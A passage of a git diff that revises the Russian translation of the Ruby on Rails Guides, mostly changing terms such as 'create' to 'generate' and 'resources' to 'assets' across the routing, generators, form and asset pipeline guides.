ключами, равными их id, индексу массива или любому другому параметру. +Однако, имеется ограничение, в то время как хэши могут быть вложены произвольно, является допустимым только один уровень "массивности". Массивы обычно могут быть заменены хэшами; например, вместо массива объектов модели можно иметь хэш объектов модели с ключами, равными их id, индексу массива или любому другому параметру. WARNING: Параметры массива не очень хорошо работают с хелпером `check_box`. В соответствии со спецификацией HTML, невыбранные чекбоксы не возвращают значения. Хелпер `check_box` обходит это, создавая вспомогательное скрытое поле с тем же именем. Если чекбокс не нажат, подтверждается только скрытое поле, а если он нажат, то они оба подтверждаются, но значение от чекбокса получает приоритет. При работе с параметрами массива эти дублирующиеся подтверждения будет путать Rails дублирующимися именами полей ввода, и непонятно, как он решит, где начать новый элемент массива. Предпочтительнее использовать или `check_box_tag`, или хэши вместо массивов. @@ -910,7 +910,7 @@ end Ключи хэша `:addresses_attributes` не важны, они всего лишь должны быть различными для каждого адреса. -Если связанный объект уже сохранен, `fields_for` автоматически создает скрытое поле с `id` сохраненной записи. Это можно отключить, передав `include_id: false` в `fields_for`. Возможно, потребуется сделать это, если автоматически созданное поле будет размещено там, где тег input не имеет валидного HTML, или при использовании ORM, когда дочерние элементы не имеют `id`. +Если связанный объект уже сохранен, `fields_for` автоматически генерирует скрытое поле с `id` сохраненной записи. Это можно отключить, передав `include_id: false` в `fields_for`. Возможно, потребуется сделать это, если автоматически сгенерированное поле будет размещено там, где тег input не имеет валидного HTML, или при использовании ORM, когда дочерние элементы не имеют `id`. ### Контроллер @@ -982,4 +982,4 @@ end ### Добавление полей на лету -Вместо того, чтобы рендерить несколько наборов полей раньше времени, можно добавить их только тогда, когда пользователь нажимает на кнопку 'Добавить новый адрес'. Rails не предоставляет какой-либо встроенной поддержки для этого. При создании новых наборов полей следует убедиться, что ключ связанного массива уникальный - наиболее распространенным выбором является текущий JavaScript date (миллисекунды после epoch). +Вместо того, чтобы рендерить несколько наборов полей раньше времени, можно добавить их только тогда, когда пользователь нажимает на кнопку 'Добавить новый адрес'. Rails не предоставляет какой-либо встроенной поддержки для этого. При генерации новых наборов полей следует убедиться, что ключ связанного массива уникальный - наиболее распространенным выбором является текущий JavaScript date (миллисекунды после epoch). diff --git a/source/generators.md b/source/generators.md index 1e5410a1..597a0655 100644 --- a/source/generators.md +++ b/source/generators.md @@ -62,7 +62,7 @@ $ bin/rails generate initializer $ bin/rails generate initializer --help ``` -Rails обычно способен создавать хорошие описания, если генератор расположен в пространствах имен, таких как `ActiveRecord::Generators::ModelGenerator`, но не в этом частном случае. Эту проблему можно решить двумя способами. Первым является вызов `desc` внутри нашего генератора: +Rails обычно способен генерировать хорошие описания, если генератор расположен в пространствах имен, таких как `ActiveRecord::Generators::ModelGenerator`, но не в этом частном случае. Эту проблему можно решить двумя способами. Первым является вызов `desc` внутри нашего генератора: ```ruby class InitializerGenerator < Rails::Generators::Base @@ -224,7 +224,7 @@ config.generators do |g| end ``` -Если мы создадим другой ресурс с помощью генератора скаффолда, мы увидим, что ни таблица стилей, ни JavaScript, ни фикстуры более не будут созданы. Если мы захотим настраивать его дальше, например использовать DataMapper и RSpec вместо Active Record и TestUnit, это достигается всего лишь добавлением соответствующих гемов в приложение и настройкой ваших генераторов. +Если мы сгенерируем другой ресурс с помощью генератора скаффолда, мы увидим, что ни таблица стилей, ни JavaScript, ни фикстуры более не будут созданы. Если мы захотим настраивать его дальше, например использовать DataMapper и RSpec вместо Active Record и TestUnit, это достигается всего лишь добавлением соответствующих гемов в приложение и настройкой ваших генераторов. Для демонстрации мы собираемся создать новый генератор хелперов, который просто добавляет несколько методов-ридеров для переменных экземпляра. Сначала мы создадим генератор в пространстве имен rails, так как тут rails ищет генераторы, используемые как хуки: @@ -243,7 +243,7 @@ $ bin/rails generate my_helper products create app/helpers/products_helper.rb ``` -И следующий хелпер будет создан в `app/helpers`: +И следующий хелпер будет сгенерирован в `app/helpers`: ```ruby module ProductsHelper @@ -328,7 +328,7 @@ config.generators do |g| end ``` -Если создадите другой ресурс, то увидите абсолютно тот же результат! Это полезно, если хотите изменить шаблоны вашего скаффолда и/или макет, просто создав `edit.html.erb`, `index.html.erb` и так далее в `lib/templates/erb/scaffold`. +Если сгенерировать другой ресурс, то увидите абсолютно тот же результат! Это полезно, если хотите изменить шаблоны вашего скаффолда и/или макет, просто создав `edit.html.erb`, `index.html.erb` и так далее в `lib/templates/erb/scaffold`. Шаблоны скаффолда в Rails часто используют теги ERB; эти теги необходимо экранировать, чтобы сгенерированный результат являлся валидным кодом ERB. @@ -427,7 +427,7 @@ end $ rails new thud -m template.rb ``` -Эта команда создаст приложение `Thud`, а затем применит шаблон к сгенерированному результату. +Эта команда сгенерирует приложение `Thud`, а затем применит шаблон к сгенерированному результату. Шаблоны не обязательно должны храниться в локальной системе, опция `-m` также поддерживает онлайн шаблоны: @@ -435,7 +435,7 @@ $ rails new thud -m template.rb $ rails new thud -m https://gist.github.com/radar/722911/raw/ ``` -В то время как последний раздел этого руководства не раскрывает, как создавать замечательные шаблоны, он познакомит вас с доступными методами, с помощью которых вы сможете создать их самостоятельно. Абсолютно те же методы доступны и для генераторов. +В то время как последний раздел этого руководства не раскрывает, как генерировать замечательные шаблоны, он познакомит вас с доступными методами, с помощью которых вы сможете создать их самостоятельно. Абсолютно те же методы доступны и для генераторов. Добавление аргументов командной строки -------------------------------------- diff --git a/source/getting_started.md b/source/getting_started.md index ee60dd7d..43df4e90 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -8,7 +8,7 @@ Rails для начинающих * Как установить Rails, создать новое приложение на Rails и присоединить ваше приложение к базе данных. * Общую структуру приложения на Rails. * Основные принципы MVC (Model, View Controller - «Модель-представление-контроллер») и дизайна, основанного на RESTful. -* Как быстро создать изначальный код приложения на Rails. +* Как быстро генерировать изначальный код приложения на Rails. Допущения в этом руководстве ---------------------------- @@ -106,7 +106,7 @@ TIP: Можно посмотреть все возможные опции ком $ cd blog ``` -В директории `blog` имеется несколько автоматически созданных файлов и папок, задающих структуру приложения на Rails. Большая часть работы в этом самоучителе будет происходить в папке `app`, но сейчас пробежимся по функциям каждой папки, которые создает Rails в новом приложении по умолчанию: +В директории `blog` имеется несколько автоматически сгенерированных файлов и папок, задающих структуру приложения на Rails. Большая часть работы в этом самоучителе будет происходить в папке `app`, но сейчас пробежимся по функциям каждой папки, которые создает Rails в новом приложении по умолчанию: | Файл/Папка | Назначение | | ----------------------| ---------- | @@ -141,7 +141,7 @@ $ bin/rails server TIP: Если вы используете Windows, вы должны передавать скрипты из папки `bin` непосредственно в интерпретатор Ruby, то есть `ruby bin\rails server`. -TIP: Компилирование CoffeeScript и сжатие файлов JavaScript требует среды выполнения JavaScript в вашей системе, и его отсутствие приведет к ошибке `execjs` во время компиляции. Обычно macOS и Windows поставляются с установленной средой выполнения JavaScript. Rails добавляет гем `mini_racer` в генерируемый `Gemfile` нового приложения в закомментированной строке, если нужно, можете ее раскомментировать. `therubyrhino` - рекомендованная среда выполнения для пользователей JRuby, она добавляется в `Gemfile`, если приложение создаётся под JRuby. Можно узнать все о поддерживаемых средах выполнения в [ExecJS](https://github.com/rails/execjs#readme) +TIP: Компилирование CoffeeScript и сжатие файлов JavaScript требует среды выполнения JavaScript в вашей системе, и его отсутствие приведет к ошибке `execjs` во время компиляции. Обычно macOS и Windows поставляются с установленной средой выполнения JavaScript. Rails добавляет гем `mini_racer` в генерируемый `Gemfile` нового приложения в закомментированной строке, если нужно, можете ее раскомментировать. `therubyrhino` - рекомендованная среда выполнения для пользователей JRuby, она добавляется в `Gemfile`, если приложение генерируется под JRuby. Можно узнать все о поддерживаемых средах выполнения в [ExecJS](https://github.com/rails/execjs#readme) Это запустит Puma, веб-сервер, распространяющийся с Rails по умолчанию. Чтобы увидеть приложение в действии, откройте окно браузера и пройдите по адресу . Вы должны увидеть дефолтную информационную страницу Rails: @@ -278,7 +278,7 @@ edit_article GET /articles/:id/edit(.:format) articles#edit $ bin/rails generate controller Articles ``` -Если открыть только что созданный `app/controllers/articles_controller.rb`, можно увидеть абсолютно пустой контроллер: +Если открыть только что сгенерированный `app/controllers/articles_controller.rb`, можно увидеть абсолютно пустой контроллер: ```ruby class ArticlesController < ApplicationController @@ -358,7 +358,7 @@ end При вызове `form_for`, вы передали в него определяющий объект для этой формы. В нашем случае это символ `:article`. Это сообщает хелперу `form_for`, для чего эта форма. Внутри блока для этого метода, объект `FormBuilder` - представленный как `f` - используется для создания двух меток и двух текстовых полей, по одному для заголовка и текста статьи. Наконец, вызов `submit` на объекте `f` создаст кнопку отправки формы. -Хотя, у этой формы есть одна проблема. Если посмотрите на созданный HTML, просмотрев исходник страницы, то увидите у формы атрибут `action`, указывающий на `/articles/new`. Это проблема, поскольку этот маршрут ведет на ту же самую страницу, и этот маршрут должен использоваться только для отображения формы для новой статьи. +Хотя, у этой формы есть одна проблема. Если посмотрите на сгенерированный HTML, просмотрев исходник страницы, то увидите у формы атрибут `action`, указывающий на `/articles/new`. Это проблема, поскольку этот маршрут ведет на ту же самую страницу, и этот маршрут должен использоваться только для отображения формы для новой статьи. Форме нужно использовать иной URL, чтобы вести куда-то еще. Это можно быстро сделать с помощью опции `:url` для `form_for`. Обычно в Rails, экшн, используемый для подтверждения формы new, такой как эта, называется "create", поэтому форма должна указывать на этот экшн. @@ -1095,7 +1095,7 @@ end ``` -Тут мы используем `link_to` другим образом. Мы передаем именованный маршрут как второй аргумент, и опции как иной аргумент. Опции `method: :delete` и `data: { confirm: 'Are you sure?' }` используются как атрибуты html5, поэтому при нажатии ссылки, Rails сначала покажет пользователю диалог подтверждения, а затем отправит ссылку с помощью метода `delete`. Это выполняется с помощью файла JavaScript `rails-ujs`, который автоматически включается в макет приложения (`app/views/layouts/application.html.erb`) при создании приложения. Без этого файла диалог подтверждения не будет показан. +Тут мы используем `link_to` другим образом. Мы передаем именованный маршрут как второй аргумент, и опции как иной аргумент. Опции `method: :delete` и `data: { confirm: 'Are you sure?' }` используются как атрибуты html5, поэтому при нажатии ссылки, Rails сначала покажет пользователю диалог подтверждения, а затем отправит ссылку с помощью метода `delete`. Это выполняется с помощью файла JavaScript `rails-ujs`, который автоматически включается в макет приложения (`app/views/layouts/application.html.erb`) при генерации приложения. Без этого файла диалог подтверждения не будет показан. ![Диалог подтверждения](/images/getting_started/confirm_dialog.png) @@ -1118,7 +1118,7 @@ TIP: В основном, Rails рекомендует использовать $ bin/rails generate model Comment commenter:string body:text article:references ``` -Эта команда создаст четыре файла: +Эта команда генерирует четыре файла: | Файл | Назначение | |---------------------------------------------|-------------------------------------------------------| diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index e7792492..708bdd0a 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -734,7 +734,7 @@ Cache-Control: no-cache ### Хелперы ресурсных тегов -Хелперы ресурсных тегов предоставляют методы для создания HTML, связывающие вьюхи с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ресурсных тегов: +Хелперы ресурсных тегов предоставляют методы для генерации HTML, связывающие вьюхи с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ресурсных тегов: * `auto_discovery_link_tag` * `javascript_include_tag` @@ -745,7 +745,7 @@ Cache-Control: no-cache Эти теги можно использовать в макетах или других вьюхах, хотя `auto_discovery_link_tag`, `javascript_include_tag` и `stylesheet_link_tag` как правило используются в области `` макета. -WARNING: Хелперы ресурсных тегов _не_ проверяют существование ресурсов по заданному расположению; они просто предполагают, что вы знаете, что делаете, и создают ссылку. +WARNING: Хелперы ресурсных тегов _не_ проверяют существование ресурсов по заданному расположению; они просто предполагают, что вы знаете, что делаете, и генерируют ссылку. #### Присоединение каналов с помощью `auto_discovery_link_tag` @@ -766,7 +766,7 @@ WARNING: Хелперы ресурсных тегов _не_ проверяют Хелпер `javascript_include_tag` возвращает HTML-тег `script` для каждого предоставленного источника. -При использовании Rails с включенным [Asset Pipeline](/asset-pipeline), этот хелпер создаст ссылку на `/assets/javascripts/`, а не на `public/javascripts`, которая использовалась в более ранних версиях Rails. Затем эта ссылка обслуживается файлопроводом (asset pipeline). +При использовании Rails с включенным [Asset Pipeline](/asset-pipeline), этот хелпер сгенерирует ссылку на `/assets/javascripts/`, а не на `public/javascripts`, которая использовалась в более ранних версиях Rails. Затем эта ссылка обслуживается файлопроводом (asset pipeline). Файл JavaScript в приложении Rails или Rails Engine размещается в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. Эти места детально описаны в [разделе про организацию ресурсов в руководстве по Asset Pipeline](/asset-pipeline#how-to-use-the-asset-pipeline). @@ -806,7 +806,7 @@ Rails тогда выдаст такой тег `script`: Хелпер `stylesheet_link_tag` возвращает HTML-тег `` для каждого предоставленного источника. -При использовании Rails с включенным "Asset Pipeline", этот хелпер создаст ссылку на `/assets/stylesheets/`. Эта ссылка будет затем обработана гемом Sprockets. Файл таблицы стилей может быть размещен в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. +При использовании Rails с включенным "Asset Pipeline", этот хелпер сгенерирует ссылку на `/assets/stylesheets/`. Эта ссылка будет затем обработана гемом Sprockets. Файл таблицы стилей может быть размещен в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. Можно определить полный путь относительно корня документа или URL. Например, на файл таблицы стилей в директории `stylesheets`, размещенной в одной из `app/assets`, `lib/assets` или `vendor/assets`, можно сослаться так: @@ -1283,7 +1283,7 @@ Rails отрендерит партиал `_product_ruler` (без переда ``` -На страницах, создаваемых `NewsController`, допустим, нужно спрятать верхнее меню и добавить правое меню: +На страницах, сгенерированных `NewsController`, допустим, нужно спрятать верхнее меню и добавить правое меню: * `app/views/layouts/news.html.erb` diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index d3443a3c..adb1269d 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -92,7 +92,7 @@ NOTE: `ActionDispatch::MiddlewareStack` это эквивалент `Rack::Build $ bin/rails middleware ``` -Для нового приложения Rails он может выдать что-то наподобие: +Для свежесгенерированного приложения Rails он может выдать что-то наподобие: ```ruby use Rack::Sendfile diff --git a/source/routing.md b/source/routing.md index 002bc6d8..cab9258f 100644 --- a/source/routing.md +++ b/source/routing.md @@ -14,7 +14,7 @@ Цель роутера Rails ------------------ -Роутер Rails распознает URL и соединяет их с экшном контроллера или приложением Rack. Он также создает пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. +Роутер Rails распознает URL и соединяет их с экшном контроллера или приложением Rack. Он также может генерировать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. ### Соединение URL с кодом @@ -34,7 +34,7 @@ get '/patients/:id', to: 'patients#show' ### Создание URL из кода -Также можно создавать пути и URL. Если вышеуказанный маршрут изменить как: +Также можно генерировать пути и URL. Если вышеуказанный маршрут изменить как: ```ruby get '/patients/:id', to: 'patients#show', as: 'patient' @@ -52,7 +52,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient' <%= link_to 'Patient Record', patient_path(@patient) %> ``` -тогда роутер создаст путь `/patients/17`. Это увеличит устойчивость вашей вьюхи и упростит код для понимания. Отметьте, что id не нужно указывать в маршрутном хелпере. +тогда роутер сгенерирует путь `/patients/17`. Это увеличит устойчивость вашей вьюхи и упростит код для понимания. Отметьте, что id не нужно указывать в маршрутном хелпере. Ресурсный роутинг ----------------- @@ -162,7 +162,7 @@ resolve('Geocoder') { [:geocoder] } NOTE: Поскольку вы можете захотеть использовать один и тот же контроллер и для одиночного маршрута (`/account`), и для множественного маршрута (`/accounts/45`), одиночные ресурсы ведут на множественные контроллеры. По этой причине, например, `resource :photo` и `resources :photos` создадут и одиночные, и множественные маршруты, привязанные к одному и тому же контроллеру (`PhotosController`). -Одиночный ресурсный маршрут создает эти хелперы: +Одиночный ресурсный маршрут генерирует эти хелперы: * `new_geocoder_path` возвращает `/geocoder/new` * `edit_geocoder_path` возвращает `/geocoder/edit` @@ -294,7 +294,7 @@ TIP: _Ресурсы никогда не должны быть вложены г #### Мелкое вложение -Один из способов избежать глубокого вложения (как показано выше) является создание экшнов коллекции в пространстве имен родителя, чтобы чувствовать иерархию, но не вкладывать экшны элементов. Другими словами, создавать маршруты с минимальным количеством информации для однозначной идентификации ресурса, например так: +Один из способов избежать глубокого вложения (как показано выше) является генерация экшнов коллекции в пространстве имен родителя, чтобы чувствовать иерархию, но не вкладывать экшны элементов. Другими словами, создавать маршруты с минимальным количеством информации для однозначной идентификации ресурса, например так: ```ruby resources :articles do @@ -311,7 +311,7 @@ resources :articles do end ``` -Это создаст те же самые маршруты из первого примера. Также можно определить опцию `:shallow` в родительском ресурсе, в этом случае все вложенные ресурсы будут мелкие: +Это сгенерирует те же самые маршруты из первого примера. Также можно определить опцию `:shallow` в родительском ресурсе, в этом случае все вложенные ресурсы будут мелкие: ```ruby resources :articles, shallow: true do @@ -321,7 +321,7 @@ resources :articles, shallow: true do end ``` -Метод `shallow` в DSL создает пространство имен, в котором каждое вложение мелкое. Это создаст те же самые маршруты из предыдущего примера: +Метод `shallow` в DSL создает пространство имен, в котором каждое вложение мелкое. Это генерирует те же самые маршруты из предыдущего примера: ```ruby shallow do @@ -343,7 +343,7 @@ scope shallow_path: "sekret" do end ``` -Для ресурса комментариев будут созданы следующие маршруты: +Для ресурса комментариев будут сгенерированы следующие маршруты: | Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | | ---------- | -------------------------------------------- | ----------------- | ------------------------ | @@ -365,7 +365,7 @@ scope shallow_prefix: "sekret" do end ``` -Для ресурса комментариев будут созданы следующие маршруты: +Для ресурса комментариев будут сгенерированы следующие маршруты: | Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | | ---------- | -------------------------------------------- | ----------------- | --------------------------- | @@ -531,7 +531,7 @@ TIP: Если вдруг вы захотели добавить много до Нересурсные маршруты -------------------- -В дополнению к ресурсному роутингу, Rails поддерживает роутинг произвольных URL к экшнам. Тут не будет групп маршрутов, создаваемых автоматически ресурсным роутингом. Вместо этого вы должны настроить каждый маршрут отдельно в вашем приложении. +В дополнению к ресурсному роутингу, Rails поддерживает роутинг произвольных URL к экшнам. Тут не будет групп маршрутов, генерируемых автоматически ресурсным роутингом. Вместо этого вы должны настроить каждый маршрут отдельно в вашем приложении. Хотя обычно следует пользоваться ресурсным роутингом, есть много мест, где более подходит простой роутинг. Не стоит пытаться заворачивать каждый кусочек своего приложения в ресурсные рамки, если он плохо поддается. @@ -845,7 +845,7 @@ get 'こんにちは', to: 'welcome#index' Настройка ресурсных маршрутов ----------------------------- -Хотя маршруты и хелперы по умолчанию, созданные `resources :articles`, обычно нормально работают, вы, возможно, захотите их настроить некоторым образом. Rails позволяет настроить практически любую часть ресурсных хелперов. +Хотя дефолтные маршруты и хелперы, сгенерированные `resources :articles`, обычно нормально работают, вы, возможно, захотите их настроить некоторым образом. Rails позволяет настроить практически любую часть ресурсных хелперов. ### Определение используемого контроллера @@ -866,7 +866,8 @@ resources :photos, controller: 'images' | GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | | PATCH/PUT | /photos/:id | images#update | photo_path(:id) | | DELETE | /photos/:id | images#destroy | photo_path(:id) | -NOTE: Используйте `photos_path`, `new_photo_path` и т.д. для создания путей для этого ресурса. + +NOTE: Используйте `photos_path`, `new_photo_path` и т.д. для генерации путей для этого ресурса. Для контроллеров в пространстве имен можно использовать обозначение директории. Например: @@ -924,7 +925,7 @@ resources :photos, as: 'images' ### Переопределение сегментов `new` и `edit` -Опция `:path_names` позволяет переопределить автоматически создаваемые сегменты `new` и `edit` в путях: +Опция `:path_names` позволяет переопределить автоматически генерируемые сегменты `new` и `edit` в путях: ```ruby resources :photos, path_names: { new: 'make', edit: 'change' } @@ -949,7 +950,7 @@ end ### Префикс именованных маршрутных хелперов -Можно использовать опцию `:as` для задания префикса именованных маршрутных хелперов, создаваемых Rails для маршрута. Используйте эту опцию для предотвращения коллизий имен между маршрутами, использующими пространство путей. Например: +Можно использовать опцию `:as` для задания префикса именованных маршрутных хелперов, генерируемых Rails для маршрута. Используйте эту опцию для предотвращения коллизий имен между маршрутами, использующими пространство путей. Например: ```ruby scope 'admin' do @@ -971,7 +972,7 @@ end resources :photos, :accounts ``` -Это создаст маршруты такие как `admin_photos_path` и `admin_accounts_path`, ведущие соответственно к `/admin/photos` и `/admin/accounts`. +Это сгенерирует маршруты такие как `admin_photos_path` и `admin_accounts_path`, ведущие соответственно к `/admin/photos` и `/admin/accounts`. NOTE: Пространство `namespace` автоматически добавляет `:as`, так же как и префиксы `:module` и `:path`. @@ -1003,11 +1004,11 @@ resources :photos, except: :destroy В этом случае Rails создаст все нормальные маршруты за исключением маршрута для `destroy` (запрос `DELETE` к `/photos/:id`). -TIP: Если в вашем приложении много маршрутов RESTful, использование `:only` и `:except` для создания только тех маршрутов, которые Вам фактически нужны, позволит снизить использование памяти и ускорить процесс роутинга. +TIP: Если в вашем приложении много маршрутов RESTful, использование `:only` и `:except` для генерации только тех маршрутов, которые Вам фактически нужны, позволит снизить использование памяти и ускорить процесс роутинга. ### Переведенные пути -Используя `scope`, можно изменить имена путей, создаваемых с помощью `resources`: +Используя `scope`, можно изменить имена путей, генерируемых с помощью `resources`: ```ruby scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do @@ -1039,7 +1040,7 @@ end ### Использование `:as` во вложенных ресурсах -Опция `:as` переопределяет автоматически создаваемое имя для ресурса в хелперах вложенного маршрута. Например: +Опция `:as` переопределяет автоматически генерируемое имя для ресурса в хелперах вложенного маршрута. Например: ```ruby resources :magazines do @@ -1136,7 +1137,7 @@ TIP: Результат команды `rails routes` более читаемы #### Оператор контроля `assert_generates` -Используйте `assert_generates` чтобы убедиться в том, что определенный набор опций создает конкретный путь. Можете использовать его с маршрутами по умолчанию или своими маршрутами. Например: +Используйте `assert_generates` чтобы убедиться в том, что определенный набор опций генерирует конкретный путь. Можете использовать его с маршрутами по умолчанию или своими маршрутами. Например: ```ruby assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' } diff --git a/source/ruby_on_rails_guides_guidelines.md b/source/ruby_on_rails_guides_guidelines.md index 400a3899..a1dac297 100644 --- a/source/ruby_on_rails_guides_guidelines.md +++ b/source/ruby_on_rails_guides_guidelines.md @@ -6,7 +6,7 @@ После прочтения этого руководства, вы узнаете: * О соглашениях, используемых в документации Rails. -* Как сгенерировать руководства локально. +* Как генерировать руководства локально. -------------------------------------------------------------------------------- @@ -154,7 +154,7 @@ rake bundle exec rake guides:validate ``` -В частности, заголовки имеют ID, созданный на основе их содержания, и это часто ведет к дубликатам. Установите `WARNINGS=1` при генерировании руководств, чтобы обнаружить их. Сообщение с предупреждением предложит решение. +В частности, заголовки имеют ID, сгенерированный на основе их содержания, и это часто ведет к дубликатам. Установите `WARNINGS=1` при генерации руководств, чтобы обнаружить их. Сообщение с предупреждением предложит решение. Руководства для Kindle ---------------------- diff --git a/source/security.md b/source/security.md index aed7deab..b78ee275 100644 --- a/source/security.md +++ b/source/security.md @@ -91,7 +91,7 @@ Rails 5.2 использует AES-GCM для шифрования, которы Зашифрованные куки автоматически обновляются, если включен `config.action_dispatch.use_authenticated_cookie_encryption`. -_Не используйте банальный секретный ключ, т.е. слово из словаря, или короче 30 символов! Вместо этого используйте `rails secret` для создания секретных ключей!_ +_Не используйте банальный секретный ключ, т.е. слово из словаря, или короче 30 символов! Вместо этого используйте `rails secret` для генерации секретных ключей!_ Приложения получают `secrets.secret_key_base` инициализированным случайным секретным ключом в `config/secrets.yml`, т.е.: @@ -246,7 +246,7 @@ Note: Мы не можем отличить домен тега ` ``` -Ресурсы компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). +Ассеты компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). Если какой-либо из файлов в манифесте изменился между запросами, сервер возвращает новый скомпилированный файл. @@ -424,7 +424,7 @@ config.assets.debug = false (in-production) В production ---------------------------- -В среде production Sprockets использует схему меток, [описанную ранее](#what-is-the-asset-pipeline). По умолчанию Rails полагает, что ресурсы прекомпилированы и будут отданы как статичные ресурсы вашим веб-сервером. +В среде production Sprockets использует схему меток, [описанную ранее](#what-is-the-asset-pipeline). По умолчанию Rails полагает, что ассеты прекомпилированы и будут отданы как статичные ассеты вашим веб-сервером. В течение фазы прекомпиляции из содержимого компилированных файлов генерируется SHA256 и вставляется в имена файлов, когда они записываются на диск. Эти имена меток используются хелперами Rails вместо имени манифеста. @@ -449,13 +449,13 @@ NOTE: с Asset Pipeline опции `:cache` и `:concat` больше не ис NOTE: В нормальных обстоятельствах опция `config.assets.digest` по умолчанию не должна изменяться. Если нет дайджеста в именах файлов и установлены заголовки с вечным кэшированием, удаленные клиенты никогда не узнают, когда перезапросить файлы при изменении их содержимого. -### (precompiling-assets) Прекомпиляция ресурсов +### (precompiling-assets) Прекомпиляция ассетов -В Rails имеется встроенная задача для компиляции на диск манифестов ресурсов и других файлов в файлопроводе. +В Rails имеется встроенная задача для компиляции на диск манифестов ассетов и других файлов в файлопроводе. -Скомпилированные ресурсы записываются в адрес, указанный в `config.assets.prefix`. По умолчанию это директория `/assets`. +Скомпилированные ассеты записываются в адрес, указанный в `config.assets.prefix`. По умолчанию это директория `/assets`. -Эту задачу можно вызвать на сервере во время деплоймента, чтобы создать скомпилированные версии ресурсов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. +Эту задачу можно вызвать на сервере во время деплоймента, чтобы создать скомпилированные версии ассетов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. Задача такая: @@ -471,9 +471,9 @@ load 'deploy/assets' Это свяжет папку, указанную в `config.assets.prefix` с `shared/assets`. Если вы уже используете эту общую папку, вам следует написать собственную задачу для деплоя. -Важно то, что эта папка является общей между деплоями, так что удаленно кэшированные страницы, ссылающиеся на старые скомпилированные ресурсы, все еще будут работать, пока не истечет срок кэширования. +Важно то, что эта папка является общей между деплоями, так что удаленно кэшированные страницы, ссылающиеся на старые скомпилированные ассеты, все еще будут работать, пока не истечет срок кэширования. -По умолчанию компилирующиеся файлы включают `application.js`, `application.css` и все не-JS/CSS файлы (это автоматически включает все ресурсы изображений) из папок `app/assets`, включая гемы: +По умолчанию компилирующиеся файлы включают `application.js`, `application.css` и все не-JS/CSS файлы (это автоматически включает все ассеты изображений) из папок `app/assets`, включая гемы: ```ruby [ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, @@ -490,7 +490,7 @@ Rails.application.config.assets.precompile += %w( admin.js admin.css ) NOTE. Всегда определяйте ожидаемое имя скомпилированного файла, оканчивающееся на .js или .css, даже если хотите добавить в массив прекомпиляции файлы Sass или CoffeeScript. -Задача также генерирует `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ресурсов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: +Задача также генерирует `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ассетов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: ```ruby {"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, @@ -513,7 +513,7 @@ NOTE: Если в production отсутствуют прекомпилирова #### Вечный заголовок Expires -Прекомпилированные ресурсы существуют в файловой системе и отдаются непосредственно веб-сервером. По умолчанию у них нет заголовков вечного кэширования, таким образом, чтобы получить преимущество от меток, необходимо обновить конфигурацию вашего сервера, чтобы добавить эти заголовки. +Прекомпилированные ассеты существуют в файловой системе и отдаются непосредственно веб-сервером. По умолчанию у них нет заголовков вечного кэширования, таким образом, чтобы получить преимущество от меток, необходимо обновить конфигурацию вашего сервера, чтобы добавить эти заголовки. Для Apache: @@ -542,17 +542,17 @@ location ~ ^/assets/ { ### Локальная прекомпиляция -Имеется несколько причин того, что может возникнуть желание компилировать ресурсы локально. Вот некоторые из них: +Имеется несколько причин того, что может возникнуть желание компилировать ассеты локально. Вот некоторые из них: * У вас нет права записи в файловую систему production. * Вы размещаетесь более чем на одном сервере и хотите избежать дублирования работы. -* Вы часто производите деплои, не включающие изменения ресурсов. +* Вы часто производите деплои, не включающие изменения ассетов. Локальная компиляция позволяет зафиксировать скомпилированные файлы в управлении версиями и деплоить как обычно. Однако есть три оговорки: -* Вы не должны запускать задачу Capistrano, которая компилирует ресурсы. +* Вы не должны запускать задачу Capistrano, которая компилирует ассеты. * Вы должны убедиться, что в вашей системе разработки присутствуют все необходимые компрессоры или минифайеры. * Вы должны изменить следующую конфигурационную настройку приложения: @@ -562,13 +562,13 @@ location ~ ^/assets/ { config.assets.prefix = "/dev-assets" ``` -Изменение `prefix` позволяет Sprockets использовать другой URL для обслуживания ресурсов в режиме development и передавать все запросы в Sprockets. Префикс остался установленным `/assets` в режиме production. Без этого изменения приложение будет обслуживаться прекомпилированными ресурсами из `/assets` в development, и вы не увидите какие-либо локальные изменения, пока снова не скомпилируете ресурсы. +Изменение `prefix` позволяет Sprockets использовать другой URL для обслуживания ассетов в режиме development и передавать все запросы в Sprockets. Префикс остался установленным `/assets` в режиме production. Без этого изменения приложение будет обслуживаться прекомпилированными ассетами из `/assets` в development, и вы не увидите какие-либо локальные изменения, пока снова не скомпилируете ассеты. На практике это позволит 